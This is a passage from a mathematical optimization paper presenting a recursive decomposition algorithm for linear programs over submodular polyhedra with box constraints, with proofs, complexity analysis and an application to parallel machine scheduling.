{q}_\mathbf{1}\in \mathbb {R}^{A}$$ and $$\mathbf {q}_\mathbf{2}\in \mathbb {R}^{N{\setminus } A}$$ by \begin{aligned} q_{1}(j)=q(j),j\in A,\qquad q_{2}(j)=q(j),j\in N{\setminus } A. \end{aligned} To prove (i), it suffices to show that $$\mathbf {q}_\mathbf{1}$$ and $$\mathbf {q}_\mathbf{2}$$ are feasible solutions of Problems (LP1) and (LP2), respectively. Since $$\mathbf {q}$$ is a feasible solution of Problem (LP), we have \begin{aligned}&q(X)\le \varphi (X),\mathrm{}X\in 2^{N}, \end{aligned} (16) \begin{aligned}&\underline{p}(j)\le q(j)\le \overline{p}(j),\mathrm{}j\in N. \end{aligned} (17) Then, (16) and (17) imply that $$\mathbf {q}_\mathbf{1}\in \mathbb {R}^{A}$$ is a feasible solution of Problem (LP1). It follows from (16) and the equality $$q(A)=\varphi (A)$$ that \begin{aligned} q(X)=q(X\cup A)-q(A)\le \varphi (X\cup A)-\varphi (A),\mathrm{\quad }X\in 2^{N{\setminus } A}, \end{aligned} which, together with (17), implies that $$\mathbf {q}_\mathbf{2} \in \mathbb {R}^{N{\setminus } A}$$ is a feasible solution of Problem (LP2). This concludes the proof of (i). To prove (ii), we first show that $$\mathbf {p}^{}$$ is a feasible solution of Problem (LP). Since $$\mathbf {p}_\mathbf{1}$$ and $$\mathbf {p}_\mathbf{2}$$ are feasible solutions of Problem (LP1) and Problem (LP2), respectively, we have \begin{aligned}&p^{}(X)\le \varphi (X),\qquad X\in 2^{A}, \end{aligned} (18) \begin{aligned}&p^{}(X)\le \varphi (X\cup A)-\varphi (A),\qquad X\in 2^{N{\setminus } A}, \end{aligned} (19) \begin{aligned}&\underline{p}(j)\le p^{}(j)\le \overline{p}(j),\qquad j\in N. \end{aligned} (20) For any $$X\in 2^{N}$$, we derive \begin{aligned} p^{}(X)&= p^{}(X\cap A)+p^{}(X{\setminus } A) \\&\le \varphi (X\cap A)+\varphi ((X{\setminus } A)\cup A)-\varphi (A) \\&= \varphi (X\cap A)+\varphi (X\cup A)-\varphi (A) \\&\le \varphi (X), \end{aligned} where the first inequality is by (18) and (19), and the second by the submodularity of $$\varphi$$. This inequality and (20) show that the vector $$\mathbf {p}^{}$$ is a feasible solution of (LP). To show optimality of $$\mathbf {p}^{}$$, notice that by optimality of $$\mathbf {p}_\mathbf{1}$$ and $$\mathbf {p}_\mathbf{2}$$ we have \begin{aligned} \sum _{j\in A}w(j)p_{1}(j)\ge \sum _{j\in A}w(j)q_{1}(j),\quad \sum _{j\in N{\setminus } A}w(j)p_{2}(j)\ge \sum _{j\in N{\setminus } A}w(j)q_{2}(j), \end{aligned} and due to the definition of $$\mathbf {p}^{}$$ we obtain \begin{aligned} \sum _{j\in N}w(j)p^{}(j)&= \sum _{j\in A}w(j)p_{1}(j)+\sum _{j\in N{\setminus } A}w(j)p_{2}(j) \\&\ge \sum _{j\in A}w(j)q_{1}(j)+\sum _{j\in N{\setminus } A}w(j)q_{2}(j)\ =\sum _{j\in N}w(j)q(j), \end{aligned} so that, $$\mathbf {p}^{}$$ is an optimal solution of (LP). $$\square$$ From Lemmas 1 and 2, we obtain the following property, which is used recursively in our decomposition algorithm. ### Theorem 3 Let $$\hat{N}\subseteq N$$ be a heavy-element subset of $$N$$ with respect to $$\mathbf {w}$$, and $$Y_{}$$ be an instrumental set for set $$\hat{N}$$. Let $$\mathbf {p}_\mathbf{1}\in \mathbb {R} ^{Y^{}}$$ and $$\mathbf {p}_\mathbf{2}\in \mathbb {R}^{N{\setminus } Y^{}}$$ be optimal solutions of the linear programs (LPR) and (LPC), respectively, where (LPR) and (LPC) are given as \begin{aligned}&\begin{aligned}&\mathrm{(LPR):}&\mathrm{Maximize}&\displaystyle \sum _{j\in Y_{}}w(j)p(j)&\\&\text{ subject } \text{ to }&\displaystyle p(X)\le \varphi (X),&X\in 2^{Y_{}}, \\&&\displaystyle \underline{p}(j)\le p(j)\le \overline{p}(j),&j\in Y_{}\cap \hat{N}, \\&&\displaystyle p(j)=\underline{p}(j),&j\in Y_{}{\setminus } \hat{N} \end{aligned}\\&\begin{aligned}&\mathrm{(LPC):}&\mathrm{Maximize}&\displaystyle \sum _{j\in N{\setminus } Y_{}}w(j)p(j)&\\&\text{ subject } \text{ to }&\displaystyle p(X)\le \varphi (X\cup Y_{})-\varphi (Y_{}),&X\in 2^{N{\setminus } Y_{}}, \\&&\displaystyle \underline{p}(j)\le p(j)\le \overline{p}(j),&j\in \left( N{\setminus } Y_{}\right) {\setminus } \left( \hat{N}{\setminus } Y_{}\right) , \\&&\displaystyle p(j)=\overline{p}(j),&j\in \hat{N}{\setminus } Y_{}. \end{aligned} \end{aligned} Then, the vector $$\mathbf {p}^{}\in \mathbb {R}^{N}$$ given by the direct sum $$\mathbf {p}^{}=\mathbf {p}_\mathbf{1}\oplus \mathbf {p}_\mathbf{2}$$ is an optimal solution of (LP). Notice that Problem (LPR) is obtained from Problem (LP) as a result of restriction to $$Y_{}$$ and the values of components $$p(j), j\in Y_{}{\setminus } \hat{N}$$, are fixed to their lower bounds in accordance with Property (c) of Lemma 1. Similarly, Problem (LPC) is obtained from Problem (LP) as a result of contraction by $$Y_{}$$ and the values of components $$p(j), j\in \hat{N}{\setminus } Y_{}$$, are fixed to their upper bounds in accordance with Property (b) of Lemma 1. ### 4.2 Recursive decomposition procedure In this subsection, we describe how the original Problem (LP) can be decomposed recursively based on Theorem 3, until we obtain a collection of trivially solvable problems with no non-fixed variables. In each stage of this process, the current LP problem is decomposed into two subproblems, each with a reduced set of variables, while some of the original variables receive fixed values and stay fixed until the end. ### Remark 1 The definition of a heavy-element set can be revised to take into account the fact that some variables may become fixed during the solution process. The fixed variables make a fixed contribution into the objective function, so that the values of their weights become irrelevant for further consideration and can therefore be made, e.g., zero. This means that a heavy-element set can be selected not among all variables of set $$N$$ but only among the non-fixed variables. Formally, if the set $$N$$ of jobs is known to be partitioned as $$N=Q\cup F$$, where the variables of set $$Q$$ are non-fixed and those of set $$F$$ are fixed, then $$\hat{Q}\subseteq Q$$ is a heavy-element subset with respect to the weight vector$$\mathbf {w}$$ if it satisfies the condition \begin{aligned} \min _{j\in \hat{Q}}w(j)\ge \max _{j\in Q{\setminus } \hat{Q}}w(j). \end{aligned} Notice that for this refined definition of a heavy-element subset, Lemma 1 and Theorem 3 can be appropriately adjusted. In each stage of the recursive procedure, we need to solve a subproblem that can be written in the following generic form: \begin{aligned} \begin{aligned}&\text{ LP }(H,F,K,\mathbf {l},\mathbf {u}\mathrm{)}&\mathrm{Maximize}&\displaystyle \sum _{j\in H}w(j)p(j)&\\&\text{ subject } \text{ to }&\displaystyle p(X)\le \varphi _{K}^H (X)=\varphi (X\cup K)-\varphi (K),&X\in 2^{H}, \\&&\displaystyle l(j)\le p(j)\le u(j),&j\in H{\setminus } F, \\&&\displaystyle p(j)=u(j)=l(j),&j\in F, \end{aligned} \end{aligned} (21) where • $$H\subseteq N$$ is the index set of components of vector $${\mathbf {p}}$$; • $$F\subseteq H$$ is the index set of fixed components, i.e., $$l(j)=u(j)$$ holds for each $$j\in F$$; • $$K\subseteq N{\setminus } H$$ is the set that defines the rank function $$\varphi _{K}^H :2^{H}\rightarrow \mathbb {R}$$ such that \begin{aligned} \varphi _{K}^H (X)=\varphi (X\cup K)-\varphi (K), \qquad X\in 2^{H}; \end{aligned} • $$\mathbf {l}=(l(j)\mid j\in H)$$ and $$\mathbf {u}=(u(j)\mid j\in H)$$ are respectively the vectors of the lower and upper bounds on variables $$p(j), j\in H$$. For $$j\in N$$, each of $$l(j)$$ and $$u(j)$$ either takes the value of $$\underline{p}(j)$$ or that of $$\overline{p}(j)$$ from the original Problem (LP). Notice that $$l(j)=u\left( j\right)$$ for each $$j\in F$$. Throughout this paper, we assume that each Problem LP$$(H,F,K,\mathbf {l}, \mathbf {u})$$ is feasible. This is guaranteed by Lemma 2 if the initial Problem (LP) is feasible. The original Problem (LP) is represented as Problem LP$$(N,\emptyset ,\emptyset ,\underline{{\mathbf {p}}},\overline{{\mathbf {p}}})$$. For $$j\in H$$, we say that the variable $$p(j)$$ is a non-fixed variable if $$l(j)<u(j)$$ holds, and a fixed variable if $$l(j)=u(j)$$ holds. If all the variables in Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$ are fixed, i.e., $$l(j)=u(j)$$ holds for all $$j\in H$$, then an optimal solution is uniquely determined by the vector $$\mathbf {u}\in \mathbb {R}^{H}$$. Consider a general case that Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$ of the form (21) contains at least one non-fixed variable, i.e., $$\|H{\setminus } F\|>0$$. We define a function $$\widetilde{\varphi } _{K}^{H}:2^{H}\rightarrow \mathbb {R}$$ by \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)=\min _{Y\in 2^{H}}\{\varphi _{K}^{H}(Y)+u(X{\setminus } Y)-l(Y{\setminus } X)\}. \end{aligned} (22) By Theorem 1 (ii), the set of maximal feasible solutions of Problem LP$$(H,F,K,\,\mathbf {l},\mathbf {u})$$ is given as a base polyhedron $$B( \widetilde{\varphi }_{K}^{H})$$ associated with the function $$\widetilde{ \varphi }_{K}^{H}$$. Therefore, if $$\|H{\setminus } F\|=1$$ and $$H{\setminus } F=\{j^{\prime }\}$$, then an optimal solution $$\mathbf {p^{}}\in \mathbb {R }^{H}$$ is given by \begin{aligned} p^{}(j)=\left\{ \begin{array}{l@{\quad }l} \tilde{\varphi }_{K}^{H}(\{j^{\prime }\}), &{} j=j^{\prime }, \\ u(j), &{} j\in F, \end{array}\right. \end{aligned} (23) Suppose that $$\|H{\setminus } F\|\ge 2$$. Then, we call a procedure Procedure Decomp$$(H,F,K,\mathbf {l},\mathbf {u})$$ explained below. Let $$\hat{H} \subseteq H {\setminus } F$$ be a heavy-element subset of $$H$$ with respect to the vector $$(w(j)\mid j\in H)$$, and $$Y_{}\subseteq H$$ be an instrumental set for set $$\hat{H}$$, i.e., \begin{aligned} \widetilde{\varphi }_{K}^{H}(\hat{H})=\varphi _{K}^{H}(Y_{})+u\left( \hat{H} {\setminus } Y_{}\right) -l(Y_{}{\setminus } \hat{H}). \end{aligned} (24) Theorem 3, when applied to Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$, implies that the problem is decomposed into the two subproblems \begin{aligned} \begin{aligned}&\mathrm{Maximize}&\displaystyle \sum _{j\in Y_{}}w(j)p(j)&\\&\text{ subject } \text{ to }&\displaystyle p(X)\le \varphi _{K}^{Y_}(X)=\varphi (X\cup K)-\varphi (K),&X\in 2^{Y_{}}, \\&l(j)\le p(j)\le l(j),&j\in Y_{}{\setminus } \hat{H}, \\&l(j)\le p(j)\le u(j),&j\in Y_{}\cap \hat{H}, \end{aligned} \end{aligned} and \begin{aligned} \begin{aligned}&\mathrm{Maximize}&\displaystyle \sum _{j\in H{\setminus } Y_{}}w(j)p(j)&\\&\text{ subject } \text{ to }&\displaystyle p(X)\le \varphi _{K\cup Y_}^{H {\setminus } Y_}(X) =\varphi (X\cup K \cup Y_{})-\varphi (K \cup Y_{}),&X\in 2^{H{\setminus } Y_{}}, \\&u(j)\le p(j)\le u(j),&j\in \hat{H}{\setminus } Y_{}, \\&l(j)\le p(j)\le u(j),&j\in \left( H{\setminus } Y_{}\right) {\setminus } (\hat{H}{\setminus } Y_{}). \end{aligned} \end{aligned} The first of these subproblems corresponds to Problem (LPR), and in that problem the values of components $$p(j), j\in Y_{}{\setminus } \hat{H}$$, are fixed to their lower bounds. The second subproblem corresponds to Problem (LPC), and in that problem the values of components $$p(j), j\in \hat{ H}{\setminus } Y_{}$$, are fixed to their upper bounds. We denote these subproblems by Problem LP$$(Y_{},F_{1},K,\mathbf {l}_\mathbf{1}, \mathbf {u}_\mathbf{1})$$ and Problem LP$$(H{\setminus } Y_{},F_{2},$$$$K\cup Y_{},\mathbf {l}_\mathbf{2},\mathbf {u}_\mathbf{2})$$, respectively, where the vectors $$\mathbf {l}_\mathbf{1},\mathbf {u}_\mathbf{1}\in \mathbb {R}^{Y_{}}$$ and $$\mathbf {l}_\mathbf{2},\mathbf {u}_\mathbf{2}\in \mathbb {R}^{H{\setminus } Y_{}}$$, and the updated sets of fixed variables $$F_{1}$$ and $$F_{2}$$ are given by \begin{aligned}&\begin{aligned} l_{1}(j)&= l(j),j\in Y_{},\\ u_{1}(j)&= \left\{ \begin{array}{l@{\quad }l} l(j), &{} j\in Y_{}{\setminus } \hat{H}, \\ u(j), &{} j\in Y_{}\cap \hat{H}, \end{array}\right. \\ F_{1}&= Y_{}{\setminus } \hat{H}, \end{aligned}\end{aligned} (25) \begin{aligned}&\begin{aligned} l_{2}(j)&= \left\{ \begin{array}{l@{\quad }l} u(j), &{} j\in \hat{H}{\setminus } Y_{}, \\ l(j), &{} j\in H{\setminus } (Y_{}\cup \hat{H}), \end{array}\right. \\ u_{2}(j)&= u(j),j\in H{\setminus } Y_{},\\ F_{2}&= (\hat{H}\cup (H\cap F)){\setminus } Y_{}. \end{aligned} \end{aligned} (26) Notice that Problem LP$$(Y_{},F_{1},K,\mathbf {l}_\mathbf{1},\mathbf {u}_\mathbf{1})$$ inherits the set of fixed variables $$Y_{}\cap F$$ from the problem of a higher level, and additionally the variables of set $$Y_{}{\setminus } \hat{ H}$$ become fixed. However, since $$\hat{H}$$ contains only non-fixed variables, we deduce that $$Y_{}{\setminus } \hat{H}\supseteq Y_{}\cap F$$, so that the complete description of the set $$F_{1}$$ of fixed variables in Problem LP$$(Y_{},F_{1},K,\mathbf {l}_\mathbf{1},\mathbf {u}_\mathbf{1})$$ is given by $$Y_{}{\setminus } \hat{H}$$. Problem LP$$(H{\setminus } Y_{},F_{2},K\cup Y_{},\mathbf {l}_\mathbf{2}, \mathbf {u}_\mathbf{2})$$ inherits the set of fixed variables $$\left( H{\setminus } Y_{}\right) \cap F$$ from the problem of a higher level, and additionally the variables of set $$\hat{H}{\setminus } Y_{}$$ become fixed. These two sets are disjoint. Thus, the complete description of the set $$F_{2}$$ of fixed variables in Problem LP$$(H{\setminus } Y_{},F_{2},K, \mathbf {l}_\mathbf{2},\mathbf {u}_\mathbf{2})$$ is given by $$(\hat{H}\cup (H\cap F)){\setminus } Y_{}$$. Without going into implementation details, we now give a formal description of the recursive procedure, that takes Remark 1 into account. For the current Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$, we compute optimal solutions $$\mathbf {p}_\mathbf{1}\in \mathbb {R}^{Y_{}}$$ and $$\mathbf {p}_\mathbf{2}\in \mathbb {R}^{H{\setminus } Y_{}}$$ of the two subproblems by calling procedures Decomp$$(Y_{},F_{1},K,\mathbf {l}_\mathbf{1},\mathbf {u}_\mathbf{1})$$ and Decomp$$(H{\setminus } Y_{},F_{2},K\cup Y_{}, \mathbf {l}_\mathbf{2},\mathbf {u}_\mathbf{2})$$. By Theorem 3, the direct sum $${\mathbf {p}}^{}={\mathbf {p}}_{1}\oplus {\mathbf {p}}_{{\mathbf {2}}}$$ is an optimal solution of Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$, which is the output of the procedure Decomp$$(H,F,K,\mathbf {l},\mathbf {u})$$. Recall that the original Problem (LP) is solved by calling Procedure Decomp$$(N,\emptyset ,\emptyset ,\underline{{\mathbf {p}}},\overline{{\mathbf {p}}})$$. Its actual running time depends on the choice of a heavy-element subset $$\hat{H}$$ in Step 2 and on the time complexity of finding an instrumental set $$Y_{}$$. ### 4.3 Analysis of time complexity We analyze the time complexity of Procedure Decomp. To reduce the depth of recursion of the procedure, it makes sense to perform decomposition in such a way that the number of non-fixed variables in each of the two emerging subproblems is roughly a half of the number of non-fixed variables in the current Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$. ### Lemma 3 If at each level of recursion of Procedure Decomp for Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$ with $$\|H{\setminus } F\|>1$$ a heavy-element subset $$\hat{H}\subseteq H{\setminus } F$$ in Step 2 is chosen to contain $$\lceil \|H{\setminus } F\|/2\rceil$$ non-fixed variables, then the number of non-fixed variables in each of the two subproblems that emerge as a result of decomposition is either $$\left\lceil \|H{\setminus } F\|/2\right\rceil$$ or $$\lfloor \|H{\setminus } F\|/2\rfloor$$. ### Proof For Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$, let $$g=\|H{\setminus } F\|$$ denote the number of the non-fixed variables. In Step 2 Procedure Decomp$$(H,F,K,\mathbf {l},\mathbf {u})$$ selects a heavy-element subset $$\hat{H}\subset H{\setminus } F$$ that contains $$\lceil g/2\rceil$$ non-fixed variables, i.e., $$\|\hat{H}\|=\left\lceil {g}/{2} \right\rceil$$. Then, the number of the non-fixed variables in Problem LP$$(Y_{},F_{1},K,\mathbf {l}_\mathbf{1},\mathbf {u}_\mathbf{1})$$ considered in Step 3 satisfies $$\|Y_{}\cap \hat{H}\|\le \left\lceil {g}/{2}\right\rceil$$. Due to (26), the number of non-fixed variables in Problem LP$$(H{\setminus } Y_{},F_{2},K\cup Y_{},\mathbf {l}_\mathbf{2},\mathbf {u}_\mathbf{2})$$ considered in Step 4 satisfies \begin{aligned} \|H{\setminus } (\hat{H}\cup F\cup Y_{})\|\le \|H{\setminus } \hat{H} \|=\left\lfloor \frac{g}{2}\right\rfloor . \end{aligned} $$\square$$ This lemma implies that the overall depth of recursion of Procedure Decomp applied to Problem LP$$(N,\emptyset ,\emptyset ,\underline{{\mathbf {p}}} ,\overline{{\mathbf {p}}})$$ is $$O(\log n)$$. Let us analyze the running time of Procedure Decomp applied to Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$. We denote by $$T_{\mathrm{LP} }(h,g)$$ the time complexity of Procedure Decomp$$(H,F,K,{\mathbf {l}},\mathbf {u})$$, where $$h=\|H\|$$ and $$g=\|H{\setminus } F\|$$. Let $$T_{Y_{}}(h)$$ denote the running time for computing the value $$\widetilde{\varphi } _{K}^{H}(\hat{H})$$ for a given set $$\hat{H}\subseteq H$$ and finding an instrumental set $$Y_{}$$ that minimizes the right-hand side of the Eq. (22). In Steps 3 and 4, Procedure Decomp splits Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$ into two subproblems: one with $$h_{1}$$ variables among which there exist $$g_{1}\le \min \{h_{1},\lceil g/2\rceil \}$$ non-fixed variables, and the other one with $$h_{2}=h-h_{1}$$ variables, among which there exist $$g_{2}\le \min \{h_{2},\lfloor g/2\rfloor \}$$ non-fixed variables. Let $$T_{\mathrm{Split}}\left( h\right)$$ denote the time complexity of such a decomposition, i.e., for setting up the instances of the two subproblems. A required heavy-element set can be found in $$O(h)$$ time by using a linear-time median-finding algorithm. Then, we obtain a recursive equation: \begin{aligned} T_{\mathrm{LP}}(h,g)=\left\{ \begin{array}{l@{\quad }l} O(1), &{} \text{ if } g=0, \\ T_{Y_{}}(h), &{} \text{ if } g=1, \\ T_{Y_{}}(h)+T_{\mathrm{Split}}(h)+T_{\mathrm{LP}}(h_{1},g_{1})+T_{ \mathrm{LP}}(h_{2},g_{2}), &{} \text{ if } g>1. \end{array}\right. \end{aligned} By solving the recursive equation under an assumption that both functions $$T_{Y_{}}(h)$$ and $$T_{\mathrm{Split}}\left( h\right)$$ are non-decreasing and convex, we obtain \begin{aligned} T_{\mathrm{LP}}(n,n)=O(\left( T_{Y_{}}(n)+T_{\mathrm{Split}}\left( n\right) \right) \log n). \end{aligned} Thus, the findings of this section can be summarized as the following statement. ### Theorem 4 Problem (LP) can be solved by Procedure Decomp in $$O((T_{Y_{}}(n)+T_{\mathrm{Split}}(n))\log n)$$ time. In the forthcoming discussion of three scheduling applications of the results of this section, we pay special attention to designing fast algorithms that could find the required set $$Y_{}$$ in all levels of the recursive Procedure Decomp. We develop fast algorithms that compute the value $$\widetilde{\varphi }(\hat{H})$$ and find a set $$Y_{}$$ in accordance with its definition; see Sect. 5. ### 4.4 Comparison with decomposition algorithm for maximizing a concave separable function In this subsection, we refer to our decomposition algorithm for Problem (LP) defined over a submodular polyhedron intersected with a box as Algorithm SSS-Decomp. Below, we compare that algorithm with a known decomposition algorithm that is applicable for maximizing a separable concave function over a submodular polyhedron; see [3], [4, Sect. 8.2] and [6]. Consider the problem of maximizing a separable concave function over a submodular polyhedron: \begin{aligned} \begin{aligned}&\mathrm{(SCFM)}&\mathrm{Maximize}&\displaystyle \sum _{j\in N}f_{j}(p(j))&\\&\mathrm{subject~to}&\displaystyle p(X)\le \varphi (X),&X\in 2^{N}, \end{aligned} \end{aligned} where $$f_{j}:\mathbb {R}\rightarrow \mathbb {R}$$ is a univariate concave function for $$j\in N$$ and $$\varphi :2^{N}\rightarrow \mathbb {R}$$ is a submodular function with $$\varphi (\emptyset )=0$$. The decomposition algorithm for Problem (SCFM) was first proposed by Fujishige [3] for the special case where each $$f_{j}$$ is quadratic and $$\varphi$$ is a polymatroid rank function. Groenevelt [6] then generalized the decomposition algorithm for the case where each $$f_{j}$$ is a general concave function and $$\varphi$$ is a polymatroid rank function. Later, it was pointed out by Fujishige [4, Sect. 8.2] that the decomposition algorithm in [6] can be further generalized to the case where $$\varphi$$ is a general submodular function. We refer to that algorithm as Algorithm FG-Decomp. For simplicity of presentation, in the description of Algorithm FG-Decomp we assume that each $$f_{j}$$ is monotone increasing; the general case with non-monotone $$f_{j}$$ can be dealt with by an appropriate modification of the algorithm; see [6]. Notice that for the set $$Y_{}$$ chosen in Step 3, there exists some optimal solution $$\mathbf {p}^{}$$ of Problem (SCFM) such that $$\varphi (Y_{})=p^{}(Y_{})$$; see [4, Sect. 8.2], [6]. It is easy to see that Problem (LP) can be reduced to Problem (SCFM) by setting the functions $$f_{j}$$ as \begin{aligned} f_{j}(\alpha )=\left\{ \begin{array}{l@{\quad }l} w(j)\underline{p}(j)+M(\alpha -\underline{p}(j)), &{}\text{ if } \,\alpha < \underline{p}(j); \\ w(j)\alpha , &{}\text{ if } \,\underline{p}(j)\le \alpha \le \overline{p}(j); \\ w(j)\overline{p}(j)-M(\alpha -\overline{p}(j)), &{}\text{ if } \,\alpha > \overline{p}(j) \end{array}\right. \end{aligned} (27) with a sufficiently large positive number $$M$$. Thus, Algorithm FG-Decomp (appropriately adjusted to deal with non-monotone functions $$f_{j}$$) can be applied to solving Problem (LP). For Problem (LP), Algorithm FG-Decomp is quite similar to Algorithm SSS-Decomp. Indeed, both algorithms recursively find a set $$Y_{}$$ and decompose a problem into two subproblems by using restriction to $$Y_{}$$ and contraction by $$Y_{}$$. The difference of the two decomposition algorithms is in the selection rule of a set $$Y_{}$$. In fact, a numerical example can be provided that demonstrates that for the same instance of Problem (LP) the two decomposition algorithms may find different sets $$Y_{}$$ in the same iteration. In addition, Algorithm SSS-Decomp fixes some variables in the subproblems so that the number of non-fixed variables in each subproblem is at most the half of the non-fixed variables in the original problem; this is an important feature of our algorithm which is not enjoyed by Algorithm FG-Decomp. This difference affects the efficiency of the two decomposition algorithms; indeed, for Problem (LP) the height of the decomposition tree can be $$\varTheta (n)$$ if Algorithm FG-Decomp is used, while it is $$O(\log n)$$ in our Algorithm SSS-Decomp. Thus, despite certain similarity between the two decomposition algorithms, our algorithm cannot be seen as a straightforward adaptation of Algorithm FG-Decomp designed for solving problems of non-linear optimization with submodular constraints to a less general problem of linear programming. On the other hand, assume that the feasible region for Problem (SCFM) is additionally restricted by imposing the box constraints, similar to those used in Problem (LP). Theorem 1 can be used to reduce the resulting problem to Problem (SCFM) with a feasible region being the base polyhedron with a modified rank function. Although the obtained problem can be solved by Algorithm FG-Decomp, this approach is computationally inefficient, since it requires multiple calls to a procedure for minimizing a submodular function. It is more efficient not to rely on Theorem 1, but to handle the additional box constraints by adapting the objective function, similarly to (27), and then to use Algorithm FG-Decomp. ## 5 Application to parallel machine scheduling problems In this section, we show how the decomposition algorithm based on Procedure Decomp can be adapted for solving problems with parallel machines efficiently. Before considering implementation details that are individual for each scheduling problem under consideration, we start this section with a discussion that addresses the matters that are common to all three problems. Recall that each scheduling problem we study in this paper can be formulated as Problem (LP) of the form (4) with an appropriate rank function. Thus, each of these problems can be solved by the decomposition algorithm described in Sect. 4.2 applied to Problem LP$$(N,\emptyset ,\emptyset ,\mathbf {l},\mathbf {u)}$$, where $$\mathbf {l}=\underline{{\mathbf {p}}}$$ and $$\mathbf {u}=\overline{{\mathbf {p}}}$$. For an initial Problem LP$$(N,\emptyset ,\emptyset ,\mathbf {l},\mathbf {u)}$$, we assume that the following preprocessing is done before calling Procedure Decomp$$(N,\emptyset ,\emptyset ,\mathbf {l},\mathbf {u})$$: 1. 1. If required, the jobs are numbered in non-decreasing order of their release dates in accordance with (9). 2. 2. If required, the machines are numbered in non-increasing order of their speeds in accordance with (1), and the partial sums $$S_{v}$$ are computed for all $$v,\,0\le v\le m$$, by (10). 3. 3. The lists $$\left( l(j)\mid j\in N\right)$$ and $$\left( u(j)\mid j\in N\right)$$ are formed and their elements are sorted in non-decreasing order. The required preprocessing takes $$O(n\log n)$$ time. To adapt the generic Procedure Decomp to solving a particular scheduling problem, we only need to provide the implementation details for Procedure Decomp$$(H,F,K,{\mathbf {l}},\mathbf {u})$$ that emerges at a certain level of recursion. To be precise, we need to explain how to compute for each particular problem the function $$\widetilde{\varphi }_{K}^{H}(X)$$ for a chosen set $$X\in 2^{H}$$ and how to find for a current heavy-element set an instrumental set $$Y_{}$$ defined by (22), which determines the pair of problems into which the current problem is decomposed. Given Problem LP$$(H,F,K,\mathbf {l},\mathbf {u})$$ of the form (21) define $$h=\|H\|$$ and $$k=\|K\|$$. Recall that $$K,H\subseteq N$$ are sets with $$K\cap H=\emptyset$$. For $$v=0,1,\ldots ,h$$, define \begin{aligned} \mathcal {H}_{v}=\left\{ Y\subseteq H\mid \|H\|=v\right\} \end{aligned} (28) Introduce \begin{aligned} \hat{h}=\min \left\{ h,m-k-1\right\} . \end{aligned} (29) Since $$\varphi _{K}^{H}(Y)=\varphi (Y\cup K)-\varphi (K)$$ for $$Y\in 2^{H}$$, it follows that for a given set $$X\subseteq H$$ the function $$\widetilde{ \varphi }_{K}^{H}:2^{H}\rightarrow \mathbb {R}$$ can be computed as follows: \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)&= \min _{Y\in 2^{H}}\left\{ \varphi _{K}^{H}(Y)+u(X{\setminus } Y)-l(Y{\setminus } X)\right\} \nonumber \\&= u(X)-\varphi (K)+\min _{Y\in 2^{H}}\left\{ \varphi (Y\cup K)-u(Y\cap X)-l(Y{\setminus } X)\right\} \nonumber \\&= u(X)-\varphi (K)+\min _{Y\in 2^{H}}\left\{ \varphi (Y\cup K)-\lambda (Y)\right\} \!, \end{aligned} (30) where $$\varphi$$ is the initial rank function associated with the scheduling problem under consideration, and \begin{aligned} \lambda (j)=\left\{ \begin{array}{l@{\quad }l} u(j), &{}\mathrm{if} \ \,j\in X, \\ l(j), &{}\mathrm{if}\ \,j\in H{\setminus } X. \end{array}\right. \end{aligned} (31) Notice that if the minimum in the left-hand side of (30) is achieved for $$Y=Y_{}$$, then $$Y_{}$$ is an instrumental set for set $$X$$. ### 5.1 Uniform machines, equal release dates In this subsection, we show that problem $$Q\|p(j)=\overline{p} (j)-x(j),C(j)\le d,pmtn\|W$$ can be solved in $$O(n\log n)$$ time by the decomposition algorithm. To achieve this, we consider Problem LP$$(H,F,K, \mathbf {l},\mathbf {u})$$ that arises at some level of recursion of Procedure Decomp and present a procedure for computing the function $$\widetilde{\varphi }_{K}^{H}:2^{H}\rightarrow \mathbb {R}$$ given by (22). We show that for an arbitrary set $$X\subseteq H$$ the value $$\widetilde{\varphi }_{K}^{H}(X)$$ can be computed in $$O(h)$$ time. For a heavy-element set $$\hat{H}\subseteq H{\setminus } F$$, finding a set $$Y_{}$$ that is instrumental for set $$\hat{H}$$ also requires $$O(h)$$ time. Recall that for problem $$Q\|p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ the rank function $$\varphi :2^{N}\rightarrow \mathbb {R}$$ is defined by (11), i.e., \begin{aligned} \varphi (X)=dS_{\min \{m,\|X\|\}},\qquad X\in 2^{N}. \end{aligned} This, together with (30), implies \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)=u(X)-dS_{\min \{m,k\}}+\min _{Y\in 2^{H}}\left\{ dS_{\min \left\{ m,\|Y\|+k\right\} }-\lambda (Y)\right\} . \end{aligned} (32) The computation of the minimum in the last term in (32) is done differently for the sets $$Y\subseteq H$$ with $$\left\| Y\right\| \le \hat{h}$$ and with $$\left\| Y\right\| >\hat{h}$$, where $$\hat{h}$$ is defined by (29), provided that the corresponding sets exist. With $$\mathcal {H}_{v},\,0\le v\le h,$$ defined by (28), introduce \begin{aligned} \varPhi ^{\prime }=\left\{ \begin{array}{l@{\quad }l} \displaystyle \min \limits _{0\le v\le \hat{h}}\big \{dS_{v+k}-\max _{Y\in \mathcal {H} _{v}}\lambda (Y)\big \}, &{}\mathrm{if}\ \,m>k, \\ +\infty , &{}\mathrm{if}\ \,m\le k, \end{array}\right. \end{aligned} (33) and \begin{aligned} \varPhi ^{\prime \prime }=\left\{ \begin{array}{l@{\quad }l} dS_{m}-\max \{\lambda (Y)\mid Y\in 2^{H},\ \|Y\|>\hat{h}\}, &{}\mathrm{if}\ \,h>m-k-1, \\ +\infty , &{}\mathrm{if}\ \,h\le m-k-1. \end{array}\right. \end{aligned} (34) Then, we can rewrite the last term in (32) as \begin{aligned} \min _{Y\in 2^{H}}\{dS_{\min \{m,\|Y\|+k\}}-\lambda (Y)\}=\min \left\{ \varPhi ^{\prime },\varPhi ^{\prime \prime }\right\} . \end{aligned} Notice that $$\varPhi ^{\prime }=+\infty$$ corresponds to the case that the set $$Y\in \mathcal {H}_{v}$$ does not exist for $$0\le v\le \hat{h}$$ (this happens if $$m\le k$$ or equivalently $$\hat{h}<0$$); 